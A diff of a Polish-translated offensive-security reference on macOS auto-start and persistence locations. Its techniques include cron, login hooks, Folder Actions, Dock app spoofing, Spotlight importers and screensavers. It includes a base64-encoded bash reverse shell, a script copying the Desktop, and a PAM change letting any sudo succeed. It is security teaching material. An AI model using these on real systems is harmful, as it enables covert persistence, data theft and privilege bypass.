Podczas inicjowania środowiska powłoki, takiego jak `zsh` lub `bash`, **pewne pliki startowe są uruchamiane**. Obecnie macOS używa `/bin/zsh` jako domyślnej powłoki. Ta powłoka jest automatycznie uruchamiana, gdy uruchamiana jest aplikacja Terminal lub gdy urządzenie jest dostępne za pośrednictwem SSH. Chociaż `bash` i `sh` są również obecne w macOS, muszą być jawnie wywołane, aby zostały użyte.
|
||||
|
||||
Strona podręcznika zsh, którą możemy przeczytać za pomocą **`man zsh`**, zawiera długie omówienie plików uruchamiania.
|
||||
Strona podręcznika zsh, którą możemy przeczytać za pomocą **`man zsh`**, zawiera długie opisy plików startowych.
|
||||
```bash
|
||||
# Example executino via ~/.zshrc
|
||||
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
||||
|
@ -268,12 +296,6 @@ open /tmp/test.terminal
|
|||
# Use something like the following for a reverse shell:
|
||||
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
|
||||
```
|
||||
Możesz również użyć rozszerzeń **`.command`**, **`.tool`**, z zwykłą zawartością skryptów powłoki i zostaną one również otwarte przez Terminal.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Jeśli terminal ma **Pełny dostęp do dysku**, będzie w stanie ukończyć tę akcję (zauważ, że wykonane polecenie będzie widoczne w oknie terminala).
|
||||
{% endhint %}
|
||||
|
||||
### Wtyczki audio
|
||||
|
||||
Opis: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
|
||||
|
@ -287,19 +309,19 @@ Opis: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://pos
|
|||
|
||||
* **`/Library/Audio/Plug-Ins/HAL`**
|
||||
* Wymagane uprawnienia roota
|
||||
* **Wyzwalacz**: Ponowne uruchomienie coreaudiod lub komputera
|
||||
* **Wyzwalacz**: Restart coreaudiod lub komputera
|
||||
* **`/Library/Audio/Plug-ins/Components`**
|
||||
* Wymagane uprawnienia roota
|
||||
* **Wyzwalacz**: Ponowne uruchomienie coreaudiod lub komputera
|
||||
* **Wyzwalacz**: Restart coreaudiod lub komputera
|
||||
* **`~/Library/Audio/Plug-ins/Components`**
|
||||
* **Wyzwalacz**: Ponowne uruchomienie coreaudiod lub komputera
|
||||
* **Wyzwalacz**: Restart coreaudiod lub komputera
|
||||
* **`/System/Library/Components`**
|
||||
* Wymagane uprawnienia roota
|
||||
* **Wyzwalacz**: Ponowne uruchomienie coreaudiod lub komputera
|
||||
* **Wyzwalacz**: Restart coreaudiod lub komputera
|
||||
|
||||
#### Opis
|
||||
|
||||
Zgodnie z poprzednimi opisami możliwe jest **skompilowanie niektórych wtyczek audio** i ich załadowanie.
|
||||
Zgodnie z poprzednimi opisami możliwe jest **skompilowanie niektórych wtyczek audio** i załadowanie ich.
|
||||
|
||||
### Wtyczki QuickLook
|
||||
|
||||
|
@ -319,14 +341,14 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.git
|
|||
|
||||
#### Opis i Wykorzystanie
|
||||
|
||||
Wtyczki QuickLook mogą być uruchamiane, gdy **uruchamiasz podgląd pliku** (naciśnij spację przy wybranym pliku w Finderze) i zainstalowana jest **wtyczka obsługująca ten typ pliku**.
|
||||
Wtyczki QuickLook mogą być uruchamiane, gdy **uruchamiasz podgląd pliku** (naciśnij spację przy zaznaczonym pliku w Finderze) i zainstalowana jest **wtyczka obsługująca ten typ pliku**.
|
||||
|
||||
Możesz skompilować własną wtyczkę QuickLook, umieścić ją w jednej z powyższych lokalizacji, aby ją załadować, a następnie przejść do obsługiwanego pliku i nacisnąć spację, aby ją uruchomić.
|
||||
|
||||
### ~~Haki logowania/wylogowywania~~
|
||||
### ~~Haki logowania/wylogowania~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
To nie zadziałało dla mnie, ani z Hakiem logowania użytkownika, ani z Hakiem wylogowywania roota
|
||||
To nie zadziałało dla mnie, ani z LoginHook użytkownika, ani z LogoutHook roota
|
||||
{% endhint %}
|
||||
|
||||
**Opis**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
||||
|
@ -336,7 +358,7 @@ To nie zadziałało dla mnie, ani z Hakiem logowania użytkownika, ani z Hakiem
|
|||
|
||||
#### Lokalizacja
|
||||
|
||||
* Musisz być w stanie wykonać coś w rodzaju `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
|
||||
* Musisz móc wykonać coś w stylu `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
|
||||
* Znajduje się w `~/Library/Preferences/com.apple.loginwindow.plist`
|
||||
|
||||
Są przestarzałe, ale mogą być używane do wykonywania poleceń po zalogowaniu użytkownika.
|
||||
|
@ -366,27 +388,27 @@ Aby usunąć to:
|
|||
defaults delete com.apple.loginwindow LoginHook
|
||||
defaults delete com.apple.loginwindow LogoutHook
|
||||
```
|
||||
Plik użytkownika root jest przechowywany w **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
|
||||
Plik root użytkownika jest przechowywany w **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
|
||||
|
||||
## Warunkowe pomijanie piaskownicy
|
||||
## Warunkowe ominięcie piaskownicy
|
||||
|
||||
{% hint style="success" %}
|
||||
Tutaj znajdziesz lokalizacje startowe przydatne do **pomijania piaskownicy**, co pozwala na po prostu wykonanie czegoś poprzez **zapisanie tego do pliku** i **oczekiwanie na nietypowe warunki** jak konkretne **zainstalowane programy, "nietypowe" działania użytkownika** lub środowiska.
|
||||
Tutaj znajdziesz lokalizacje startowe przydatne do **omijania piaskownicy**, które pozwalają Ci po prostu uruchomić coś, **zapisując to do pliku** i **oczekując na nietypowe warunki** jak konkretne **zainstalowane programy, "nietypowe" działania użytkownika** lub środowiska.
|
||||
{% endhint %}
|
||||
|
||||
### Cron
|
||||
|
||||
**Opis**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
|
||||
|
||||
* Przydatne do pomijania piaskownicy: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Jednakże, musisz móc wykonać binarny `crontab`
|
||||
* Lub być użytkownikiem root
|
||||
* Pominięcie TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* Przydatne do ominięcia piaskownicy: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Jednakże, musisz być w stanie wykonać binarny `crontab`
|
||||
* Lub być rootem
|
||||
* Ominięcie TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Lokalizacja
|
||||
|
||||
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
|
||||
* Wymagany dostęp roota do bezpośredniego zapisu. Brak wymaganego dostępu roota jeśli możesz wykonać `crontab <plik>`
|
||||
* Wymagany jest dostęp do zapisu roota. Brak wymagania roota, jeśli możesz wykonać `crontab <plik>`
|
||||
* **Wywołanie**: Zależy od zadania cron
|
||||
|
||||
#### Opis i Wykorzystanie
|
||||
|
@ -415,7 +437,7 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.git
|
|||
|
||||
* Przydatne do ominięcia piaskownicy: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ominięcie TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* iTerm2 wcześniej miało udzielone uprawnienia TCC
|
||||
* iTerm2 używało przyznanych uprawnień TCC
|
||||
|
||||
#### Lokalizacje
|
||||
|
||||
|
@ -441,15 +463,15 @@ chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
|||
|
||||
#### Launch Agents
|
||||
|
||||
Launch Agents are used to run commands when a user logs in. They are stored in `~/Library/LaunchAgents/` or `/Library/LaunchAgents/`.
|
||||
Launch Agents are used to run processes when a user logs in. They are located in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
|
||||
#### Launch Daemons
|
||||
|
||||
Launch Daemons are used to run commands at system startup. They are stored in `/Library/LaunchDaemons/`.
|
||||
Launch Daemons are used to run processes at system boot or login. They are located in `/Library/LaunchDaemons/` and `/System/Library/LaunchDaemons/`.
|
||||
|
||||
#### Login Items
|
||||
|
||||
Login Items are applications that open when a user logs in. They are managed in `System Preferences` > `Users & Groups` > `Login Items`.
|
||||
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -587,7 +609,7 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.git
|
|||
* Przydatne do ominięcia piaskownicy: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ale ssh musi być włączone i używane
|
||||
* Ominięcie TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* SSH miał dostęp do pełnego dysku
|
||||
* SSH ma dostęp do pełnego dysku
|
||||
|
||||
#### Lokalizacja
|
||||
|
||||
|
@ -645,7 +667,7 @@ Te elementy są przechowywane w pliku **`~/Library/Application Support/com.apple
|
|||
|
||||
### ZIP jako element logowania
|
||||
|
||||
(Sprawdź poprzednią sekcję dotyczącą Elementów logowania, jest to rozszerzenie)
|
||||
(Sprawdź poprzednią sekcję dotyczącą Elementów logowania, to jest rozszerzenie)
|
||||
|
||||
Jeśli przechowasz plik **ZIP** jako **Element logowania**, **`Archive Utility`** go otworzy, a jeśli zip był na przykład przechowywany w **`~/Library`** i zawierał folder **`LaunchAgents/file.plist`** z tylnymi drzwiami, ten folder zostanie utworzony (nie jest to domyślne zachowanie), a plist zostanie dodany, więc następnym razem, gdy użytkownik zaloguje się ponownie, **tylne drzwi wskazane w pliku plist zostaną wykonane**.
|
||||
|
||||
|
@ -681,7 +703,7 @@ sh-3.2# atq
|
|||
26 Tue Apr 27 00:46:00 2021
|
||||
22 Wed Apr 28 00:29:00 2021
|
||||
```
|
||||
Powyżej widzimy zaplanowane dwa zadania. Szczegóły zadania można wydrukować, używając `at -c JOBNUMBER`
|
||||
Powyżej widzimy zaplanowane dwa zadania. Szczegóły zadania można wydrukować, używając `at -c NUMERZADANIA`
|
||||
```shell-session
|
||||
sh-3.2# at -c 26
|
||||
#!/bin/sh
|
||||
|
@ -729,9 +751,9 @@ Nazwa pliku zawiera kolejkę, numer zadania i czas jego zaplanowanego uruchomien
|
|||
|
||||
* `a` - to jest kolejka
|
||||
* `0001a` - numer zadania w zapisie szesnastkowym, `0x1a = 26`
|
||||
* `019bdcd2` - czas w zapisie szesnastkowym. Reprezentuje minuty od epoki. `0x019bdcd2` to `26991826` w zapisie dziesiętnym. Jeśli pomnożymy to przez 60, otrzymamy `1619509560`, co odpowiada `GMT: 2021. kwiecień 27., wtorek 7:46:00`.
|
||||
* `019bdcd2` - czas w zapisie szesnastkowym. Reprezentuje minuty od epoki. `0x019bdcd2` to `26991826` w systemie dziesiętnym. Jeśli pomnożymy to przez 60, otrzymamy `1619509560`, co odpowiada `GMT: 2021. kwiecień 27., wtorek 7:46:00`.
|
||||
|
||||
Jeśli wydrukujemy plik zadania, zobaczymy, że zawiera te same informacje, które uzyskaliśmy używając `at -c`.
|
||||
Jeśli wyświetlimy plik zadania, zobaczymy, że zawiera te same informacje, które uzyskaliśmy używając `at -c`.
|
||||
|
||||
### Akcje folderów
|
||||
|
||||
|
@ -753,14 +775,14 @@ Opis: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f
|
|||
|
||||
#### Opis i Wykorzystanie
|
||||
|
||||
Akcje folderów to skrypty automatycznie uruchamiane w odpowiedzi na zmiany w folderze, takie jak dodawanie, usuwanie elementów, otwieranie lub zmiana rozmiaru okna folderu. Te akcje mogą być wykorzystane do różnych zadań i mogą być uruchamiane w różny sposób, na przykład za pomocą interfejsu Finder lub poleceń terminala.
|
||||
Akcje folderów to skrypty automatycznie uruchamiane w odpowiedzi na zmiany w folderze, takie jak dodawanie, usuwanie elementów, otwieranie lub zmiana rozmiaru okna folderu. Te działania mogą być wykorzystane do różnych zadań i mogą być uruchamiane w różny sposób, na przykład za pomocą interfejsu Finder lub poleceń terminala.
|
||||
|
||||
Aby skonfigurować Akcje folderów, masz opcje takie jak:
|
||||
|
||||
1. Stworzenie przepływu pracy Akcji folderu za pomocą [Automatora](https://support.apple.com/guide/automator/welcome/mac) i zainstalowanie go jako usługi.
|
||||
2. Dołączenie skryptu ręcznie za pomocą Konfiguracji Akcji folderu w menu kontekstowym folderu.
|
||||
1. Tworzenie przepływu pracy Akcji folderu za pomocą [Automatora](https://support.apple.com/guide/automator/welcome/mac) i instalowanie go jako usługi.
|
||||
2. Dołączanie skryptu ręcznie za pomocą Konfiguracji Akcji folderu w menu kontekstowym folderu.
|
||||
3. Wykorzystanie OSAScript do wysyłania komunikatów Apple Event do `System Events.app` w celu programowego ustawienia Akcji folderu.
|
||||
* Ta metoda jest szczególnie przydatna do osadzania akcji w systemie, oferując poziom trwałości.
|
||||
* Ta metoda jest szczególnie przydatna do osadzania działania w systemie, oferując poziom trwałości.
|
||||
|
||||
Poniższy skrypt jest przykładowym przykładem tego, co może być wykonane przez Akcję folderu:
|
||||
```applescript
|
||||
|
@ -772,7 +794,7 @@ app.doShellScript("touch ~/Desktop/folderaction.txt");
|
|||
app.doShellScript("mkdir /tmp/asd123");
|
||||
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
||||
```
|
||||
Aby skrypt powyżej można było używać w Akcjach folderu, skompiluj go za pomocą:
|
||||
Aby umożliwić użycie powyższego skryptu przez Akcje folderu, skompiluj go za pomocą:
|
||||
```bash
|
||||
osacompile -l JavaScript -o folder.scpt source.js
|
||||
```
|
||||
|
@ -790,7 +812,7 @@ Uruchom skrypt instalacyjny za pomocą:
|
|||
```bash
|
||||
osascript -l JavaScript /Users/username/attach.scpt
|
||||
```
|
||||
* Oto sposób implementacji tej trwałości za pomocą interfejsu graficznego:
|
||||
* Oto sposób wdrożenia tej trwałości za pomocą interfejsu graficznego:
|
||||
|
||||
To jest skrypt, który zostanie wykonany:
|
||||
|
||||
|
@ -805,14 +827,14 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Skompiluj to poleceniem: `osacompile -l JavaScript -o folder.scpt source.js`
|
||||
Skompiluj to za pomocą: `osacompile -l JavaScript -o folder.scpt source.js`
|
||||
|
||||
Przenieś to do:
|
||||
```bash
|
||||
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
```
|
||||
Następnie otwórz aplikację `Folder Actions Setup`, wybierz **folder, który chcesz obserwować**, a następnie wybierz w Twoim przypadku **`folder.scpt`** (w moim przypadku nazwałem go output2.scp):
|
||||
Następnie otwórz aplikację `Folder Actions Setup`, wybierz **folder, który chcesz obserwować** i wybierz w Twoim przypadku **`folder.scpt`** (w moim przypadku nazwałem go output2.scp):
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (39).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -822,7 +844,7 @@ Ta konfiguracja została zapisana w **pliku plist** znajdującym się w **`~/Lib
|
|||
|
||||
Teraz spróbujmy przygotować tę trwałość bez dostępu do interfejsu graficznego:
|
||||
|
||||
1. **Skopiuj `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** do `/tmp`, aby go zbackupować:
|
||||
1. **Skopiuj `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** do `/tmp`, aby go zabezpieczyć:
|
||||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||
2. **Usuń** właśnie ustawione Folder Actions:
|
||||
|
||||
|
@ -830,7 +852,7 @@ Teraz spróbujmy przygotować tę trwałość bez dostępu do interfejsu graficz
|
|||
|
||||
Teraz, gdy mamy puste środowisko
|
||||
|
||||
3. Skopiuj plik z backupu: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
|
||||
3. Skopiuj plik z kopią zapasową: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
|
||||
4. Otwórz aplikację Folder Actions Setup.app, aby załadować tę konfigurację: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
@ -848,13 +870,13 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.git
|
|||
#### Lokalizacja
|
||||
|
||||
* `~/Library/Preferences/com.apple.dock.plist`
|
||||
* **Wywołanie**: Kiedy użytkownik kliknie na aplikację w Docku
|
||||
* **Wywołanie**: Gdy użytkownik kliknie na aplikację w Docku
|
||||
|
||||
#### Opis i Wykorzystanie
|
||||
|
||||
Wszystkie aplikacje, które pojawiają się w Docku, są określone w pliku plist: **`~/Library/Preferences/com.apple.dock.plist`**
|
||||
Wszystkie aplikacje widoczne w Docku są określone w pliku plist: **`~/Library/Preferences/com.apple.dock.plist`**
|
||||
|
||||
Możliwe jest **dodanie aplikacji** tylko za pomocą:
|
||||
Można **dodać aplikację** tylko za pomocą:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -866,7 +888,7 @@ killall Dock
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Z wykorzystaniem **inżynierii społecznej** można **na przykład podszyć się pod Google Chrome** w doku i faktycznie wykonać swój własny skrypt:
|
||||
Z wykorzystaniem **inżynierii społecznej** można **podrobić na przykład Google Chrome** w doku i faktycznie wykonać swój własny skrypt:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -924,7 +946,7 @@ killall Dock
|
|||
Opis: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
||||
|
||||
* Przydatne do ominięcia piaskownicy: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Musi zajść bardzo konkretne działanie
|
||||
* Wymagane jest bardzo konkretne działanie
|
||||
* Zakończysz w innej piaskownicy
|
||||
* Ominięcie TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
|
@ -932,17 +954,17 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.gith
|
|||
|
||||
* `/Library/ColorPickers`
|
||||
* Wymagane uprawnienia roota
|
||||
* Wyzwalacz: Użycie wybieraka kolorów
|
||||
* Wywołanie: Użycie wybieraka kolorów
|
||||
* `~/Library/ColorPickers`
|
||||
* Wyzwalacz: Użycie wybieraka kolorów
|
||||
* Wywołanie: Użycie wybieraka kolorów
|
||||
|
||||
#### Opis i Wykorzystanie
|
||||
|
||||
**Skompiluj pakiet wybieraka kolorów** z twoim kodem (możesz użyć [**na przykład tego**](https://github.com/viktorstrate/color-picker-plus)) i dodaj konstruktor (tak jak w sekcji [Wygaszacz ekranu](macos-auto-start-locations.md#screen-saver)) i skopiuj pakiet do `~/Library/ColorPickers`.
|
||||
**Skompiluj pakiet wybieraka kolorów** z twoim kodem (możesz użyć [**na przykład tego**](https://github.com/viktorstrate/color-picker-plus)) i dodaj konstruktor (jak w sekcji [Wygaszacz ekranu](macos-auto-start-locations.md#screen-saver)) oraz skopiuj pakiet do `~/Library/ColorPickers`.
|
||||
|
||||
Następnie, gdy wybierak kolorów zostanie wywołany, twój kod również powinien być uruchomiony.
|
||||
|
||||
Zauważ, że binarny ładowacz twojej biblioteki ma **bardzo restrykcyjną piaskownicę**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
Zauważ, że binarny plik ładujący twoją bibliotekę ma **bardzo restrykcyjną piaskownicę**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -969,7 +991,7 @@ Zauważ, że binarny ładowacz twojej biblioteki ma **bardzo restrykcyjną piask
|
|||
|
||||
#### Opis & Wykorzystanie
|
||||
|
||||
Przykład aplikacji z rozszerzeniem synchronizacji Finder [**można znaleźć tutaj**](https://github.com/D00MFist/InSync).
|
||||
Przykład aplikacji z rozszerzeniem synchronizacji Finder [**znajduje się tutaj**](https://github.com/D00MFist/InSync).
|
||||
|
||||
Aplikacje mogą mieć `Rozszerzenia synchronizacji Finder`. To rozszerzenie zostanie umieszczone wewnątrz aplikacji, która zostanie uruchomiona. Ponadto, aby rozszerzenie mogło wykonać swój kod, **musi być podpisane** ważnym certyfikatem dewelopera Apple, musi być **umieszczane w piaskownicy** (choć mogą być dodane wyjątki) i musi być zarejestrowane za pomocą:
|
||||
```bash
|
||||
|
@ -1016,10 +1038,10 @@ Timestamp (process)[PID]
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Należy pamiętać, że wewnątrz uprawnień binarnych, które wczytują ten kod (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), można znaleźć **`com.apple.security.app-sandbox`**, więc będziesz **wewnątrz wspólnej piaskownicy aplikacji**.
|
||||
Należy pamiętać, że wewnątrz uprawnień binarnych, które ładują ten kod (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), można znaleźć **`com.apple.security.app-sandbox`**, więc będziesz **wewnątrz wspólnej piaskownicy aplikacji**.
|
||||
{% endhint %}
|
||||
|
||||
Kod oszczędzania:
|
||||
Kod oszczędności:
|
||||
```objectivec
|
||||
//
|
||||
// ScreenSaverExampleView.m
|
||||
|
@ -1090,7 +1112,7 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|||
opis: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
|
||||
|
||||
* Przydatne do ominięcia piaskownicy: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ale skończysz w aplikacyjnej piaskownicy
|
||||
* Ale skończysz w piaskownicy aplikacji
|
||||
* Ominięcie TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* Piaskownica wydaje się bardzo ograniczona
|
||||
|
||||
|
@ -1113,9 +1135,9 @@ opis: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.git
|
|||
Spotlight to wbudowana funkcja wyszukiwania w macOS, zaprojektowana w celu zapewnienia użytkownikom **szybkiego i wszechstronnego dostępu do danych na ich komputerach**.\
|
||||
Aby ułatwić tę szybką funkcję wyszukiwania, Spotlight utrzymuje **własną bazę danych** i tworzy indeks, **parsując większość plików**, umożliwiając szybkie wyszukiwanie zarówno nazw plików, jak i ich zawartości.
|
||||
|
||||
Podstawowy mechanizm Spotlight obejmuje centralny proces o nazwie 'mds', co oznacza **'serwer metadanych'**. Ten proces kieruje całym serwisem Spotlight. Wspomagają to wielokrotne demony 'mdworker', które wykonują różnorodne zadania konserwacyjne, takie jak indeksowanie różnych typów plików (`ps -ef | grep mdworker`). Te zadania są możliwe dzięki wtyczkom importującym Spotlight, czyli **"paczkom .mdimporter**", które umożliwiają Spotlightowi zrozumienie i indeksowanie treści w różnorodnych formatach plików.
|
||||
Podstawowym mechanizmem Spotlight jest centralny proces o nazwie 'mds', co oznacza **'serwer metadanych'**. Ten proces zarządza całą usługą Spotlight. Wspomagają go wielokrotne demony 'mdworker', które wykonują różnorodne zadania konserwacyjne, takie jak indeksowanie różnych typów plików (`ps -ef | grep mdworker`). Te zadania są możliwe dzięki wtyczkom importującym Spotlight, czyli **"paczkom .mdimporter"**, które umożliwiają Spotlightowi zrozumienie i indeksowanie treści w różnorodnych formatach plików.
|
||||
|
||||
Wtyczki lub **paczki .mdimporter** znajdują się w wymienionych wcześniej miejscach, a jeśli pojawi się nowa paczka, zostanie załadowana w ciągu minuty (nie trzeba restartować żadnej usługi). Te paczki muszą wskazywać, jakie **typy plików i rozszerzenia mogą obsługiwać**, w ten sposób Spotlight będzie ich używał, gdy zostanie utworzony nowy plik z wskazanym rozszerzeniem.
|
||||
Wtyczki lub **paczki `.mdimporter`** znajdują się w wymienionych wcześniej miejscach, a jeśli pojawi się nowa paczka, zostanie załadowana w ciągu minuty (nie trzeba restartować żadnej usługi). Te paczki muszą wskazywać, jakie **typy plików i rozszerzenia mogą obsługiwać**, w ten sposób Spotlight będzie ich używał, gdy zostanie utworzony nowy plik z wskazanym rozszerzeniem.
|
||||
|
||||
Możliwe jest **znalezienie wszystkich `mdimporterów`** załadowanych, uruchamiając:
|
||||
```bash
|
||||
|
@ -1163,14 +1185,14 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
[...]
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Jeśli sprawdzisz Plist innego `mdimporter`, możesz nie znaleźć wpisu **`UTTypeConformsTo`**. To dlatego, że jest to wbudowany _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) i nie musi określać rozszerzeń.
|
||||
Jeśli sprawdzisz Plist innego `mdimportera`, możesz nie znaleźć wpisu **`UTTypeConformsTo`**. Dzieje się tak, ponieważ jest to wbudowany _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)), który nie wymaga określania rozszerzeń.
|
||||
|
||||
Co więcej, domyślne wtyczki systemowe zawsze mają pierwszeństwo, więc atakujący może uzyskać dostęp tylko do plików, które nie są indeksowane przez własne `mdimporters` firmy Apple.
|
||||
Co więcej, domyślne wtyczki systemowe zawsze mają pierwszeństwo, więc atakujący może uzyskać dostęp tylko do plików, które nie są indeksowane przez własne `mdimportery` firmy Apple.
|
||||
{% endhint %}
|
||||
|
||||
Aby stworzyć własny importer, możesz zacząć od tego projektu: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer), a następnie zmienić nazwę, **`CFBundleDocumentTypes`** i dodać **`UTImportedTypeDeclarations`**, aby obsługiwał rozszerzenie, które chcesz wspierać, i odzwierciedlić je w **`schema.xml`**. Następnie **zmień** kod funkcji **`GetMetadataForFile`**, aby wykonać swój payload, gdy zostanie utworzony plik z przetworzonym rozszerzeniem.
|
||||
|
||||
Na koniec **skompiluj i skopiuj swój nowy `.mdimporter`** do jednej z poprzednich lokalizacji i sprawdź, czy jest ładowany, **monitorując logi** lub sprawdzając **`mdimport -L.`**
|
||||
Na koniec **skompiluj i skopiuj swój nowy `.mdimporter`** do jednej z powyższych lokalizacji i sprawdź, czy jest ładowany, **monitorując logi** lub sprawdzając **`mdimport -L.`**
|
||||
|
||||
### ~~Panel Preferencji~~
|
||||
|
||||
|
@ -1220,7 +1242,6 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.git
|
|||
#### Opis i Wykorzystanie
|
||||
|
||||
Skrypty okresowe (**`/etc/periodic`**) są wykonywane z powodu **daemonów uruchamiania** skonfigurowanych w `/System/Library/LaunchDaemons/com.apple.periodic*`. Zauważ, że skrypty przechowywane w `/etc/periodic/` są **wykonywane** jako **właściciel pliku**, więc nie zadziała to dla potencjalnej eskalacji uprawnień.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Launch daemons that will execute the periodic scripts
|
||||
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
|
||||
|
@ -1260,10 +1281,10 @@ daily_local="/etc/daily.local" # Local scripts
|
|||
weekly_local="/etc/weekly.local" # Local scripts
|
||||
monthly_local="/etc/monthly.local" # Local scripts
|
||||
```
|
||||
Jeśli uda ci się napisać którykolwiek z plików `/etc/daily.local`, `/etc/weekly.local` lub `/etc/monthly.local`, zostanie on **wykonany wcześniej lub później**.
|
||||
Jeśli uda ci się napisać którykolwiek z plików `/etc/daily.local`, `/etc/weekly.local` lub `/etc/monthly.local`, zostanie **wykonany wcześniej lub później**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Zauważ, że skrypt okresowy zostanie **wykonany jako właściciel skryptu**. Jeśli zwykły użytkownik jest właścicielem skryptu, zostanie on wykonany jako ten użytkownik (co może zapobiec atakom z eskalacją uprawnień).
|
||||
Zauważ, że skrypt okresowy zostanie **wykonany jako właściciel skryptu**. Jeśli zwykły użytkownik jest właścicielem skryptu, zostanie on wykonany jako ten użytkownik (co może zapobiec atakom eskalacji uprawnień).
|
||||
{% endhint %}
|
||||
|
||||
### PAM
|
||||
|
@ -1281,7 +1302,7 @@ Rozwiązanie: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevi
|
|||
|
||||
#### Opis i Wykorzystanie
|
||||
|
||||
Ponieważ PAM jest bardziej skoncentrowany na **trwałości** i złośliwym oprogramowaniu niż na łatwym wykonaniu w systemie macOS, ten blog nie będzie zawierał szczegółowego wyjaśnienia, **przeczytaj rozwiązania, aby lepiej zrozumieć tę technikę**.
|
||||
Ponieważ PAM jest bardziej skoncentrowany na **trwałości** i złośliwym oprogramowaniu niż na łatwym wykonaniu wewnątrz macOS, ten blog nie będzie zawierał szczegółowego wyjaśnienia, **przeczytaj rozwiązania, aby lepiej zrozumieć tę technikę**.
|
||||
|
||||
Sprawdź moduły PAM za pomocą:
|
||||
```bash
|
||||
|
@ -1305,7 +1326,7 @@ session required pam_permit.so
|
|||
I dlatego każda próba użycia **`sudo` będzie działać**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
